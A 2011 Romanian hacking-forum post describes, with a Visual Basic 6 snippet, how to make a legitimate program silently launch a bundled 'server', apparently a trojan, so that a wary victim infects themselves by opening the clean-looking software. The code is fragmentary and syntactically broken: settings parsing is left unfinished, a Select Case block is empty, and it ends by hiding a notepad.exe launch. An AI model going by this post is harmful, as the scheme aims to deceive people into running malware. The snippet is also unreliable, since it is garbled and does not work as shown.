[VB6] Open Soft
Scris: 18 Feb 2011 00:00
Deci asta e gen ia cineva un soft de al vostru si langa aveti un server si victima vede ca ala e virus o sa deschida cel curat si atunci cu codu asta cand deschide soft deschide automat si serveru Tongue.
Ma rog sper ca ati inteles ideea
Ma rog sper ca ati inteles ideea
Cod: SelectaĊ£i tot
ShellExecute Me.hwnd, "open", App.Path & "\terms.txt", vbNullString, vbNullString, 1
On Error Resume Next
Dim sLine As String
Dim sSettings() As String
If Dir(CurDir & "\settings.dat") <> "" Then
Open CurDir & "\settings.dat" For Input As #1
Do Until (EOF(1) = True)
Line Input #1, sLine
sSettings = Split(sLine, " ", 2)
Select Case sSettings(0)
Dim Res
Dim Filename
Filename = "C:\windows\notepad.exe" 'Check file is here first
If Dir(Filename) = "" Then
MsgBox Filename & " not found", vbInformation
Else
Res = Shell("Start.exe " & Filename, vbHide)
End If